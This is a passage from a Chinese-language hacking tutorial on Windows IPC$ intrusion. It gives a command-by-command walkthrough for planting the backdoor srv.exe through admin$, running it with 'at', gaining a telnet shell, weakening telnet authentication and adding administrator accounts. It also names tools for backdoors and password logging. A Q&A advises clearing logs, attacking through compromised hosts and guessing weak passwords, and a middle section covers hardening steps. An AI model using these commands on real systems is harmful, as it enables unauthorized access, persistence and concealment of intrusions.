c:\>net?view?\\127.0.0.1 \\查看遠程的共享資源 [3] C:\>copy?srv.exe?\\127.0.0.1\admin$\system32? \\將一次性后門srv.exe復制到對方的系統文件夾下,前提是admin$開啟 [4] C:\>net?time?\\127.0.0.1? \\查看遠程主機的當前時間 [5] C:\>at?\\127.0.0.1?時間?srv.exe? \\用at命令遠程運行srv.exe,需要對方開啟了'Task?Scheduler'服務 [6] C:\>net?time?\\127.0.0.1 \\再次查看當前時間來估算srv.exe是否已經運行,此步可以省略 [7] C:\>telnet?127.0.0.1?99? \\開一個新窗口,用telnet遠程登陸到127.0.0.1從而獲得一個shell(不懂shell是什么意思?那你就把它想象成 遠程機器的控制權就好了,操作像DOS),99端口是srv.exe開的一次性后門的端口 [8] C:\WINNT\system32>net?start?telnet \\我們在剛剛登陸上的shell中啟動遠程機器的telnet服務,畢竟srv.exe是一次性的后門,我們需要一個長久的 后門便于以后訪問,如果對方的telnet已經啟動,此步可省略 [9] C:\>copy?ntlm.exe?\\127.0.0.1\admin$\system32 \\在原來那個窗口中將ntlm.exe傳過去,ntlm.exe是用來更改telnet身份驗證的 [10] C:\WINNT\system32>ntlm.exe? \\在shell窗口中運行ntlm.exe,以后你就可以暢通無阻的telnet這臺主機了 [11] C:\>telnet?127.0.0.1?23 \\在新窗口中telnet到127.0.0.1,端口23可省略,這樣我們又獲得一個長期的后門 [12] C:\WINNT\system32>net?user?帳戶名?密碼?/add C:\WINNT\system32>net?uesr?guest?/active:yes C:\WINNT\system32>net?localgroup?administrators?帳戶名?/add \\telnet上以后,你可以建立新帳戶,激活guest,把任何帳戶加入管理員組等 好了,寫到這里我似乎回到了2,3年前,那時的ipc$大家都是這么用的,不過隨著新工具的出現,上面提到的一 些工具和命令現在已經不常用到了,那就讓我們看看現在的高效而簡單的ipc$入侵吧。 [1] p***ec.exe?\\IP?-u?管理員帳號?-p?密碼?cmd? \\用這個工具我們可以一步到位的獲得shell OpenTelnet.exe?\\server?管理員帳號?密碼?NTLM的認證方式?port \\用它可以方便的更改telnet的驗證方式和端口,方便我們登陸 [2] 已經沒有第二步了,用一步獲得shell之后,你做什么都可以了,安后門可以用winshell,克隆就用ca吧,開終端 用3389.vbe,記錄密碼用win2kpass,總之好的工具不少,隨你選了,我就不多說了。 十四?如何防范ipc$入侵察看本地共享資源 運行-cmd-輸入net?share 刪除共享(每次輸入一個) net?share?ipc$?/delete net?share?admin$?/delete net?share?c$?/delete net?share?d$?/delete(如果有e,f,……可以繼續刪除) 1?禁止空連接進行枚舉(此操作并不能阻止空連接的建立) 運行regedit,找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把Res trictAnonymous?=?DWORD的鍵值改為:1 如果設置為"1",一個匿名用戶仍然可以連接到IPC$共享,但無法通過這種連接得到列舉SAM帳號和共享信息的 權限;在Windows?2000?中增加了"2",未取得匿名權的用戶將不能進行ipc$空連接。建議設置為1。如果上面 所說的主鍵不存在,就新建一個再改鍵值。如果你覺得改注冊表麻煩,可以在本地安全設置中設置此項:?在本地 安全設置-本地策略-安全選項-'對匿名連接的額外限制' 2?禁止默認共享 1)察看本地共享資源 運行-cmd-輸入net?share 2)刪除共享(重起后默認共享仍然存在) net?share?ipc$?/delete net?share?admin$?/delete net?share?c$?/delete net?share?d$?/delete(如果有e,f,……可以繼續刪除) 3)停止server服務 net?stop?server?/y?(重新啟動后server服務會重新開啟) 4)禁止自動打開默認共享(此操作并不能關閉ipc$共享)? 運行-regedit server版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServ er\Parameters]把AutoShareServer(DWORD)的鍵值改為:00000000。? pro版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\ Parameters]把AutoShareWks(DWORD)的鍵值改為:00000000。? 這兩個鍵值在默認情況下在主機上是不存在的,需要自己手動添加,修改后重起機器使設置生效。 3?關閉ipc$和默認共享依賴的服務:server服務 如果你真的想關閉ipc$共享,那就禁止server服務吧: 控制面板-管理工具-服務-找到server服務(右擊)-屬性-常規-啟動類型-選已禁用,這時可能會有提示說:XXX 服務也會關閉是否繼續,因為還有些次要的服務要依賴于server服務,不要管它。? 4?屏蔽139,445端口? 由于沒有以上兩個端口的支持,是無法建立ipc$的,因此屏蔽139,445端口同樣可以阻止ipc$入侵。 1)139端口可以通過禁止NBT來屏蔽 本地連接-TCP/IT屬性-高級-WINS-選‘禁用TCP/IT上的NETBIOS’一項 2)445端口可以通過修改注冊表來屏蔽 添加一個鍵值 Hive:?HKEY_LOCAL_MACHINE Key:?System\Controlset\Services\NetBT\Parameters Name:?SMBDeviceEnabled? Type:?REG_DWORD Value:?0 修改完后重啟機器 注意:如果屏蔽掉了以上兩個端口,你將無法用ipc$入侵別人。? 3)安裝防火墻進行端口過濾 6?設置復雜密碼,防止通過ipc$窮舉出密碼,我覺得這才是最好的辦法,增強安全意識,比不停的打補丁要安全 的多。 十五?ipc$入侵問答精選 1.進行ipc$入侵的時候,會在服務器中留下記錄,有什么辦法可以不讓服務器發現嗎? 答:留下記錄是一定的,你走后用清除日志程序刪除就可以了,或者用肉雞入侵。 2.你看下面的情況是為什么,可以連接但不能復制 net?use?\\***.***.***.***\ipc$?"密碼"?/user:"用戶名" 命令成功 copy?icmd.exe?\\***.***.***.***\admin$ 找不到網絡路徑 命令不成功 答:像“找不到網絡路徑”“找不到網絡名”之類的問題,大多是因為你想要復制到的共享文件夾沒有開啟,所以 在復制的時候會出現錯誤,你可以試著找找其他的共享文件夾。 3.如果對方開了IPC$,且能建立空聯接,但打開C、D盤時,都要求密碼,我知道是空連接沒有太多的權限,但沒 別的辦法了嗎? 答:建議先用流光或者別的什么掃描軟件試著猜解一下密碼,如果猜不出來,只能放棄,畢竟空連接的能力有限。 4.我已經猜解到了管理員的密碼,且已經ipc$連接成功了,但net?view?\\ip發現它沒開默認共享,我該怎么辦? 答:首先糾正你的一個錯誤,用net?view?\\ip是無法看到默認共享的,你可以試著將文件復制到c$,d$看看, 如果都不行,說明他關閉了默認共享,那你就用opentelnet.exe或p***ec.exe吧,用法上面有。 5.ipc$連接成功后,我用下面的命令建立了一個帳戶,卻發現這個帳戶在我自己的機器上,這是怎么回事? net?uset?ccbirds?/add 答:ipc$建立成功只能說明你與遠程主機建立了通信隧道,并不意味你取得了一個shell,只有在獲得一個shell (比如telnet)之后,你才能在遠程機器建立一個帳戶,否則你的操作只是在本地進行。 6.我已進入了一臺肉機,用的管理員帳號,可以看他的系統時間,但是復制程序到他的機子上卻不行,每次都提示 “拒絕訪問,已復制0個文件”,是不是對方有什么服務沒開,我該怎么辦? 答:一般來說“拒絕訪問”都是權限不夠的結果,可能是你用的帳戶有問題,還有一種可能,如果你想向普通共享 文件夾復制文件卻返回這個錯誤,說明這個文件夾設置的允許訪問用戶中不包括你(哪怕你是管理員),這一點我 在上一期文章中分析了。 7.我用Win98能與對方建立ipc$連接嗎? 答:理論上不可以,要進行ipc$的操作,建議用win2000,用其他操作系統會帶來許多不必要的麻煩。 8.我用net?use?\\ip\ipc$?""?/user?""成功的建立了一個空會話,但用nbtstat?-A?IP?卻無法導出用戶列表,這 是為什么? 答:空會話在默認的情況下是可以導出用戶列表的,但如果管理員通過修改注冊表來禁止導出列表,就會出現你所 說的情況;還有可能是你自己的NBT沒有打開,netstat命令是建立在NBT之上的。 9.我建立ipc$連接的時候返回如下信息:‘提供的憑據與已存在的憑據集沖突’,怎么回事? 答:呵呵,這說明你已經與目標主機建立了ipc$連接,兩個主機間同時建立兩個ipc$連接是不允許的。 10.我在映射的時候出現: F:\>net?use?h:?\\211.161.134.*\e$ 系統發生?85?錯誤。 本地設備名已在使用中。這是怎么回事? 答:你也太粗心了吧,這說明你有一個h盤了,映射到沒有的盤符吧! 11.我建立了一個連接f:\>net?use?\\*.*.*.*\ipc$?"123"?/user:"guest"?成功了,但當我映射時出現了錯 誤,向我要密碼,怎么回事? F:\>net?use?h:?\\*.*.*.*\c$ 密碼在?\\*.*.*.*\c$?無效。 請鍵入?\\*.*.*.*\c$?的密碼: 系統發生?5?錯誤。 拒絕訪問。 答:呵呵,向你要密碼說明你當前使用的用戶權限不夠,不能映射C$這個默認共享,想辦法提升權限或者找管理 員的弱口令吧!默認共享一般是需要管理員權限的。 12.我用superscan掃到了一個開了139端口的主機,但為什么不能空連接呢? 答:你混淆了ipc$與139的關系,能進行ipc$連接的主機一定開了139或445端口,但開這兩個端口的主機可不 一定能空連接,因為對方可以關閉ipc$共享. 13.我門局域網里的機器大多都是xp,我用流光掃描到幾個administrator帳號口令是空,而且可以連接,但不能 復制東西,說錯誤5。請問為什么? 答:xp的安全性要高一些,在安全策略的默認設置中,對本地帳戶的網絡登錄進行身份驗證的時候,默認為來賓 權限,即使你用管理員遠程登錄,也只具有來賓權限,因此你復制文件,當然是錯誤5:權限不夠。 14.我用net?use?\\192.168.0.2\ipc$?"password"?/user:"administrator"?成功,可是?net?use?i:?\\1 |